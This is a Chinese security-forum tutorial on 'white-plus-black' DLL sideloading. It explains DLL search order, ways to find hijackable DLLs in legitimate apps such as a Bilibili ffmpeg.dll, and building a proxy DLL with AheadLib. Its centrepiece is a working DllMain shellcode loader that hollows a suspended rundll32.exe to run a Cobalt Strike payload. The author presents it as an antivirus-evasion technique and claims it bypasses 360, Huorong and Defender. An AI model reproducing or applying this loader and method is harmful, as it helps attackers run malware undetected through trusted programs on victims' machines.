安全矩阵

 找回密码
 立即注册
搜索
查看: 739|回复: 0

白加黑保姆教程通杀主流杀软

[复制链接]

32

主题

32

帖子

106

积分

注册会员

Rank: 2

积分
106
发表于 2024-6-2 22:33:46 | 显示全部楼层 |阅读模式
简单来说就是通过白名单的exe运行来去加载恶意的dll达到shellcode加载的目的,那么就需要对exe加载的dll进行了解。

0x01 DLL前置知识
DLL路径搜索目录顺序
• 1. 程序所在目录
• 2. 程序加载目录(SetCurrentDirectory)
• 3. 系统目录即 SYSTEM32 目录
• 4.16 位系统目录即 SYSTEM 目录
• 5.Windows 目录
• 6.PATH 环境变量中列出的目录
Know DLLs 注册表项
Know DLLs 注册表项里的 DLL 列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。
Know DLLs 注册表项的路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
劫持应用中存在的 dll

直接转发 Direcrt Forwarding
直接转发对主程序来说,其实就是调用了原来 dll 的某个函数。
1.修改导出表
在导出表中,将要转发的函数入口地址指向另一个DLL对应函数的入口地址
2.实际调用过程
其他程序调用DLL中被转发的函数时,系统会重定向到转发目标DLL中的对应函数。
设 DLL A 中的函数 MyFunction() 被直接转发到 DLLB 中的函数 RealFunction(),那么调用 MyFunction() 实际上会调用 RealFunction()。

及时调用 Delay Load and Call
即时调用实际上是调用了劫持 dll 的某个函数,只不过那个函数会 jmp 到原本的 dll 中的相应函数的地址。达到的效果相同,但是实现的原理不同。

延迟加载目标 DLL
当 DLL A 中的函数被调用时,首先使用 LoadLibrary 加载目标 DLLB。

获取函数入口地址
然后使用 GetProcAddress 获取目标 DLL 中要调用的函数的入口地址。

实际调用过程:
使用获取到的函数入口地址调用目标函数。
这种方式的优点是,可以在需要调用函数时才加载目标 DLLB.
注意事项
不管是转发还是劫持,都需要注意使用对应位数的shellcode,可以使用01Eidor来打开exe查看,生成dll时候也需注意。
DllMain 入口函数
这是动态链接库的可选入口点。系统启动或终止进程或线程的时候,它会使用进程的第一个线程为每个加载的DLL来调用入口点函数。
当Dll使用LoadLibrary加载和使用FreeLibrary函数卸载dll时候,系统还会回调该函数的入口点函数。
  1. /*
  2. * hModule:DLL模块句柄
  3. * ul_reason_for_call:调用函数的原因
  4. * lpReserved:保留参数
  5. */
  6. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
  7. {
  8.     switch (ul_reason_for_call)
  9.     {
  10.       case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
  11.       case DLL_THREAD_ATTACH: // 当线程被创建时调用
  12.       case DLL_THREAD_DETACH: // 当线程结束时执行
  13.       case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
  14.             if (lpvReserved != nullptr)
  15.             {
  16.                 break; // lpvReserved为非空时,表示进程被终止,不做任何清理
  17.             }
  18.             // 执行必要的清理
  19.           break;
  20.     }
  21.     return TRUE; // DLL_PROCESS_ATTACH成功
  22. }
复制代码

DLL_PROCESS_ARRACH
当一个dll文件被映射到进程的地址空间时,系统调用dllmain,传递fdwReason参数为DLL_PROCESS_ARRACH,只会被传递一次。
DLL_PROCESS_DETACH
当dll被从进程的地址空间接触映射时调用
比如:
1.调用FreeLibray()
2.进程结束
3.传入DLL_PROCESS_ATTACH的dllmain返回False
DLL_PROCESS_ATTACH
当进程创建一线程调用时,与DLL_PROCESS_ATTACH不同,该值可以被多次调用。

DllMain函数名修饰-APIENTRY
  1. #define CALLBACK __stdcall   // WIN32编程中的回调函数类型
  2. #define WINAPI __stdcal
  3. #define WINAPIV __cdecl
  4. #define APIENTRY WINAPI   // DllMain的入口就在这里
  5. #define APIPRIVATE __stdcall
  6. #define PASCAL __stdcall
复制代码
APIENTRY根据宏定义 WINAPI以及stdcall,可知是属于stdcall调用约定。
这种约定主要约束了两件事:参数传递顺序、调用堆栈由谁清理(调用函数或被调用函数)。
常见的函数调用约定有:cdecl stdcall fastcall thiscall
其中 cdecl 是 C\C++ 的默认调用约定,stdcall 是 Windows API 的默认调用约定。
Dll的调试
这里写一个例子来进行dll的开发和调试
pch.h对应的源文件
这段代码定义了一个 study_dll_EXPORTS的宏,定义API_DECLSPECKM为declspec(dllexport),否则则定义API_DECLSPECKM为declspec(dllimport)

生成dll后在用dumpbin来查看导出表,注意dumpbin要找到对应位数这里是64位,不要用成arm的了

这里学习一下调用dll来调试dll中的代码。
首先需要可以调用这个dll的exe,这点很重要。
创建一个控制台项目,然后代码里面加载dll,获取到HModule后,在用GetProcAddress来获取dll里面的方法

这里再return这下断点 可以看到调试成功了



0x02 dll静态和动态调用的特点
dll静态调用特点
程序在编译时将所需的dll文件嵌入到可执行文件中,也就是dll文件与可执行文件捆绑在一起。
当程序运行时,操作系统会将静态链接库(Static Link Library)中的代码和数据复制到程序的内存空间中,这样程序就可以直接使用 DLL 中的功能。由于 DLL 文件已经被嵌入到可执行文件中,因此程序在运行时不需要再加载 DLL 文件,可以直接执行。
示例 编写一个静态dll文件 mydll.lib

  1. // 定义 DLL 导出函数的原型
  2. typedef int (*DLLFUNC)(int);

  3. int main()
  4. {
  5.     // 加载静态链接库
  6.     #pragma comment(lib, "mydll.lib")

  7.     // 获取 DLL 导出函数指针
  8.     DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc");

  9.     // 调用 DLL 导出函数
  10.     int result = MyFunc(123);

  11.     return 0;
  12. }
复制代码

dll动态调用的特点
如果所需要dll不存在,不会返回错误代码(除非在代码里面写了Getlasterror这些)

0x03 dllmain上线问题
根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:

dllmain里面不能创建进程这个问题是一个坑。
也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。

0x04 寻找可用dll
这是一个关键性的问题,可执行文件的导入dll那么多,用哪个dll来加黑呢?这个可以说是最关键的一步!
一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。
这里来罗列一下几种方法

1.孤独寻找
最容易想到的操作,就是把exe单独移动出来,然后运行看看报错是什么,这里报错是缺少ffmpeg.dll,
但是这种方法不保证管用和准确性。


100多MB的启动程序导入表dll居然这么少
通过查看导入表,来判断排除系统dll,然后看看在结合目录寻找软件的dll

有些程序光是一个dll还无法正常打开运行,可能是dll1还需要dll2,这种就不好去找了。有些能运行上线,但是程序无法正常使用,想要劫持了dll加黑,又要原程序正常运行这是一件很难的事情。

2.Procmon助我
使用Procmon任务管理器来动态运行程序查找,可以逐步分析需要动态加载哪些关键DLL。
先来一个Filter

内容还是太多了,需要再过滤一下,只看dll的


加上path以.dll结尾的过滤器

再加上一个exclude,就可以排除完了

3.巧用工具
寻找了好几款工具,对比测试发现ZeroEye效果还不错

利用工具来检查可以被劫持的dll,可以快速排除寻找
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye
这款工具python运行调用PE程序去寻找,成功找到后会生成对应目录

这里给出了exe的导入DLL,分成系统DLL和程序的DLL,一目了然,比如寻找wyy的


cloudmusic_util.exe这里导入依赖了很多dll

这里还差一个dll,我们手动排查发现


那么在给他加上libFLAC_dynamic.dll就可以直接运行了

黑Dll制作
我这里测试,就选择这个某哔哩ffmpeg.dll来制作。
用AheadLib来做dll的相关函数导出,但是之前的这个软件导出x64位的dll就会直接闪退,没办法,已经没有更新了

在GitHub上找到了一个可以用的,但是导出之后需要把asm相关函数编译成obj,比较麻烦
https://github.com/strivexjun/AheadLib-x86-x64
导出转发生成了ffmpeg_jump.asm和ffmpeg.cpp文件

编译的时候就发现存在两个函数的报错,尝试了很久,添加链接器到Shlwapi.h物理路径也不行,就很奇怪
shlwapi.h已经引用 找不到pathstrippath”和“strcmpi”

没有用,只能尝试替换掉这两个函数了

当然可以用其他的轮子来加载dllmain
(由于dll被修改后哔哩打开就闪退了,之前那个是在dllmain中调用函数来创建线程,所以闪退会导致CS这边也退掉)
想要保持修改dll后的软件exe也能正常运行打开,不是那么好做,是比较困难的,条件要求很高。那么可以考虑换一种方法来执行。
注入进程,一种常用的轮子
  1. unsigned char payload[] = "\xfc\xe8...";
  2. unsigned int payload_len = sizeof payload - 1;

  3. BOOL APIENTRY DllMain(HMODULE hModule,
  4.   DWORD  ul_reason_for_call,
  5.   LPVOID lpReserved
  6. )
  7. {
  8.   switch (ul_reason_for_call)
  9.   {
  10.   case DLL_PROCESS_ATTACH: {
  11.     char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
  12.     memcpy((void*)v7A, payload, payload_len);

  13.     struct _PROCESS_INFORMATION ProcessInformation;
  14.     struct _STARTUPINFOA StartupInfo;
  15.     void* v24;
  16.     CONTEXT Context;
  17.     memset(&StartupInfo, 0, sizeof(StartupInfo));
  18.     StartupInfo.cb = 68;
  19.     BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
  20.     if (result)
  21.     {
  22.       Context.ContextFlags = 65539;
  23.       GetThreadContext(ProcessInformation.hThread, &Context);
  24.       v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u);
  25.       WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL);
  26.             // 32 位使用 Context.Eip = (DWORD_PTR)v24;
  27.       Context.Rip = (DWORD_PTR)v24;
  28.       SetThreadContext(ProcessInformation.hThread, &Context);
  29.       ResumeThread(ProcessInformation.hThread);
  30.       CloseHandle(ProcessInformation.hThread);
  31.       result = CloseHandle(ProcessInformation.hProcess);
  32.     }

  33.     TerminateProcess(GetCurrentProcess(), 0);
  34.   }

  35.   case DLL_THREAD_ATTACH:
  36.   case DLL_THREAD_DETACH:
  37.   case DLL_PROCESS_DETACH:
  38.     break;
  39.   }
  40.   return TRUE;
  41. }
复制代码
ok 代码的问题解决了,但是再编译的时候出现了上面的导出函数无法被识别的问题

这里就需要来编译asm文件了,参考asm注释里面给的命令,需要注意ml64是vsstudio里面的文件,因为这里没有加入到环境变量中,所以写全路径,编译得到了ffmpeg_jump.obj
"E:\C project\Microsoft Visual Studio\VC\Tools\MSVC\14.16.27023\bin\HostX64\x64\ml64" /Fo ffmpeg_jump.obj /c /Cp ffmpeg_jump.asm

把ffmpeg_jump.obj复制到项目目录下

然后把obj文件添加到链接器里面

放回到安装目录可以上线,这里是启动了rundll32.exe来上线的


这样子单独拎出来也可以上线,不过还没有做免杀

再加上一点自己的免杀手段上去,这里就不继续展开了
360,火绒,defender通通bypass!
放一下defender免杀效果图
defender静态查杀

defender动态查杀

参考链接:
https://www.freebuf.com/articles/system/333690.html
https://github.com/strivexjun/AheadLib-x86-x64
https://learn.microsoft.com/zh-c ... redirectedfrom=MSDN
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 09:57 , Processed in 0.013839 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表